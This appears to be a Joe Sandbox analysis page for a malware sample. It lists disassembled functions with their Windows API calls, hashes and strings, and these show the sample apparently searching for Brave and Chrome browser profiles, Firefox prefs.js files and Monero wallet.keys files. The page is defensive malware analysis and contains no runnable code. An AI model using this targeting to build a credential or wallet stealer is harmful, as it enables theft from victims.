Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: a76bc3ce10a95df8291c19dfa3e85fa6cb5ed14856b1724a827c0bcc2fa5a391
Instruction ID: 2aa4c7811a1f0db5873c71f104c5d8ba8f71ba69168498d65b6c5804aff0203d
Opcode Fuzzy Hash: a76bc3ce10a95df8291c19dfa3e85fa6cb5ed14856b1724a827c0bcc2fa5a391
Instruction Fuzzy Hash: 58A11272900319ABDB24DF64DC89FEA7779BF94300F048598F60EA6141EB759B84CF62

Function 0052BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

FindFirstFileA.KERNEL32(00000000,?,00540B32,00540B2B,00000000,?,?,?,005413F4,00540B2A), ref: 0052BEF5
StrCmpCA.SHLWAPI(?,005413F8), ref: 0052BF4D
StrCmpCA.SHLWAPI(?,005413FC), ref: 0052BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0052C7BF
FindClose.KERNEL32(000000FF), ref: 0052C7D1

Strings

Brave, xrefs: 0052C102
Google Chrome, xrefs: 0052C634
Preferences, xrefs: 0052C11E
\Brave\Preferences, xrefs: 0052C1DB

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 63b6ac8a1f322d97cbfc599be7af34320acb61ee966939f0a73650f94e2e63df
Instruction ID: 3648e703c283e95fc738b36295cc707c9e0369311f4b7628d05d45ef8861ac8a
Opcode Fuzzy Hash: 63b6ac8a1f322d97cbfc599be7af34320acb61ee966939f0a73650f94e2e63df
Instruction Fuzzy Hash: E0424272900105ABCB14FB70DD9AEEE7B7CBFD4300F408558F946A6181EE34AB49CB96

Function 00534910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0053492C
FindFirstFileA.KERNEL32(?,?), ref: 00534943
StrCmpCA.SHLWAPI(?,00540FDC), ref: 00534971
StrCmpCA.SHLWAPI(?,00540FE0), ref: 00534987
FindNextFileA.KERNEL32(000000FF,?), ref: 00534B7D
FindClose.KERNEL32(000000FF), ref: 00534B92

Strings

%s\%s, xrefs: 005349A4
%s\*, xrefs: 00534920
%s\%s, xrefs: 005349FB

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 2e2cb2870a2c5a39d00db665542c4f2384f1c1c2fdd618c190af7559f0b2e318
Instruction ID: 5af13afaac1e87f725f26a43b1ae3c4fe7f1b2b47af72e4facfa129bd7c4e847
Opcode Fuzzy Hash: 2e2cb2870a2c5a39d00db665542c4f2384f1c1c2fdd618c190af7559f0b2e318
Instruction Fuzzy Hash: 2F616872500219BBCB20EBA0DC49FEA777CBF48700F048598F60AA6141EB75EB85CF95

Function 00534570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00534580
RtlAllocateHeap.NTDLL(00000000), ref: 00534587
wsprintfA.USER32 ref: 005345A6
FindFirstFileA.KERNEL32(?,?), ref: 005345BD
StrCmpCA.SHLWAPI(?,00540FC4), ref: 005345EB
StrCmpCA.SHLWAPI(?,00540FC8), ref: 00534601
FindNextFileA.KERNEL32(000000FF,?), ref: 0053468B
FindClose.KERNEL32(000000FF), ref: 005346A0
lstrcat.KERNEL32(?,00F1E938), ref: 005346C5
lstrcat.KERNEL32(?,00F1DBC0), ref: 005346D8
lstrlen.KERNEL32(?), ref: 005346E5
lstrlen.KERNEL32(?), ref: 005346F6

Strings

%s\%s, xrefs: 0053461B
%s\*, xrefs: 0053459A

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 7071e40c5ee7694c46525d77fe9ee0a8a68d232bf191db6648d6f5e6e58f0260
Instruction ID: 6a9de86c7089ee33fc60b78eeaf90fa4f584a2e1c77aacdd975bdd2d977d2596
Opcode Fuzzy Hash: 7071e40c5ee7694c46525d77fe9ee0a8a68d232bf191db6648d6f5e6e58f0260
Instruction Fuzzy Hash: F9516971510319ABC724EB70DC89FEE777CBF54300F408598F60AA2190EB74AB848F95

Function 00533EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00533EC3
FindFirstFileA.KERNEL32(?,?), ref: 00533EDA
StrCmpCA.SHLWAPI(?,00540FAC), ref: 00533F08
StrCmpCA.SHLWAPI(?,00540FB0), ref: 00533F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0053406C
FindClose.KERNEL32(000000FF), ref: 00534081

Strings

%s\%s, xrefs: 00533EB7

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 450961784597ccb1d5ca27b856192200865671161adca80069ed17e00bcaf118
Instruction ID: d5b6e24bd33660144d8f57a9afa946b33e57409899200550c36e8ae800e9abcf
Opcode Fuzzy Hash: 450961784597ccb1d5ca27b856192200865671161adca80069ed17e00bcaf118
Instruction Fuzzy Hash: D45148B2500319BBCB25EBB0DC89EEA777CBB84300F408598F65A96080DB75EB858F55

Function 0052ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0052ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0052ED55
StrCmpCA.SHLWAPI(?,00541538), ref: 0052EDAB
StrCmpCA.SHLWAPI(?,0054153C), ref: 0052EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0052F2AE
FindClose.KERNEL32(000000FF), ref: 0052F2C3

Strings

%s\*.*, xrefs: 0052ED32

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 6ba8d51fc6cccb4d94cfe31416799e764aec9f96cd2990f6e682448093ccaa29
Instruction ID: c362b22b84115331709d3efc75ec84e6506b31198a9d3374cadabde70e17e0fe
Opcode Fuzzy Hash: 6ba8d51fc6cccb4d94cfe31416799e764aec9f96cd2990f6e682448093ccaa29
Instruction Fuzzy Hash: E6E1F472911119AADB54FB60DC96EEEB738BF94300F4041D9B54B62092EF306F8ACF55

Function 0052F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005415B8,00540D96), ref: 0052F71E
StrCmpCA.SHLWAPI(?,005415BC), ref: 0052F76F
StrCmpCA.SHLWAPI(?,005415C0), ref: 0052F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0052FAB1
FindClose.KERNEL32(000000FF), ref: 0052FAC3

Strings

prefs.js, xrefs: 0052F812

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: f2608c5ee5a01a5bde68103885c4635a1d612c423fc54b680747d8e08c7ea605
Instruction ID: 9cacd7d27e6830a7ab13b6062ebe6958d0fd2871a1b58e4bd651c32590681d96
Opcode Fuzzy Hash: f2608c5ee5a01a5bde68103885c4635a1d612c423fc54b680747d8e08c7ea605
Instruction Fuzzy Hash: 80B14471900119ABDB24FF60DC99FEE7B79BF95300F4085A8E44A96191EF306B49CF92

Function 005216D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0054510C,?,?,?,005451B4,?,?,00000000,?,00000000), ref: 00521923
StrCmpCA.SHLWAPI(?,0054525C), ref: 00521973
StrCmpCA.SHLWAPI(?,00545304), ref: 00521989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00521D40
DeleteFileA.KERNEL32(00000000), ref: 00521DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00521E20
FindClose.KERNEL32(000000FF), ref: 00521E32

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Strings

\*.*, xrefs: 005217F1

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: c6dd913d898b0cc5fdcefdcbd54d17a1af4e720f090190adbb0e8be45d55d5a3
Instruction ID: 30f95471bf94332a1b2308ab18bdc4aaf03fa30659b71b8b86903180990783cb
Opcode Fuzzy Hash: c6dd913d898b0cc5fdcefdcbd54d17a1af4e720f090190adbb0e8be45d55d5a3
Instruction Fuzzy Hash: DA122572910119ABDB19FB60DC9AEEEBB7CBF94300F404599B14666091EF306F89CF91

Function 0052DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00540C2E), ref: 0052DE5E
StrCmpCA.SHLWAPI(?,005414C8), ref: 0052DEAE
StrCmpCA.SHLWAPI(?,005414CC), ref: 0052DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0052E3E0
FindClose.KERNEL32(000000FF), ref: 0052E3F2

Strings

\*.*, xrefs: 0052DE26

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: e2ba2498f007afa83f9a968d65dbc44180b32036b0b939c158ca9a748ebc6510
Instruction ID: 729900018c7eb6858d708d082e6d46bcd66026910a21ef6193a99157524ab65a
Opcode Fuzzy Hash: e2ba2498f007afa83f9a968d65dbc44180b32036b0b939c158ca9a748ebc6510
Instruction Fuzzy Hash: 8FF1B472814119AADB15FB60DC9AEEEB738BF94300F5041D9B44B62091EF346F8ACF65

Function 0052DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005414B0,00540C2A), ref: 0052DAEB
StrCmpCA.SHLWAPI(?,005414B4), ref: 0052DB33
StrCmpCA.SHLWAPI(?,005414B8), ref: 0052DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0052DDCC
FindClose.KERNEL32(000000FF), ref: 0052DDDE

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

